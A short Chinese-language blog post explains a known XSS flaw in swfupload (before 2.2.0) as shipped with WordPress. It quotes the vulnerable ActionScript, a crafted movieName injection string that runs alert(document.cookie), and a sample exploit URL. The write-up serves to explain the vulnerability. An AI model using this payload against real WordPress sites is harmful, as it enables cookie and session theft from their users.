Wordpress 中的 TinyMCE 编辑器,他的档案上传工具是使用 swfupload ,swfupload 主要是为了提供 flash 多档案上传功能,在 HTML5 File API 还未开发出来时,我们都是使用 Flash 来达成网页可以同时选取多个档案,以及同时上传。
swfupload 2.2.0 以前的版本,已经被发现一个 XSS 的漏洞。
先来看一段 swfupload ActionScript 3.0 的程式
- this.movieName = root.loaderInfo.parameters.movieName;
- this.flashReady_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
- if (ExternalCall.Bool(this.testExternalInterface_Callback)) {
- ExternalCall.Simple(this.flashReady_Callback);
- this.hasCalledFlashReady = true;
- }
前两行有一个很大的问题, input value 没有经过任何检查,这样骇客可以对 movieName 植入任意值,而 4 ,5 又会直接执行 Simple 这个 function。
Simple 的程式码可以看这一段
- public static function Simple(callback:String):void {
- ExternalInterface.call(callback);
- }
这里直接执行了 callback ,也就上一段的 flashReady_Callback , flash 会将 SWFUpload.instancesxxx 这一段文字当成一个字串,并且先 parse 后,交给 Javascript 去执行。
因为最后是交由 Javascript 去执行这一段 code ,所以我们就输入以下的 hack 字串。
- "]); } catch (e) {}; if ( typeof(xss) == "undefined" ) { alert(document.cookie); } var xss=1; //
最后的结果,Javascript 会去执行这段有问题的程式。
- try {
- return encodeURIComponent( SWFUpload.instances[""] );
- } catch (e) {};
- if ( typeof(xss) == "undefined" ) { alert(document.cookie); }
- var xss=1;
- // "].flashReady();
XSS URL sample :
http://xxx.hackwordpress/wp-includes/js/swfupload/swfupload.swf?movieName="]); } catch (e) {}; if ( typeof(xss) == "undefined" ) { alert(document.cookie); } var xss=1; //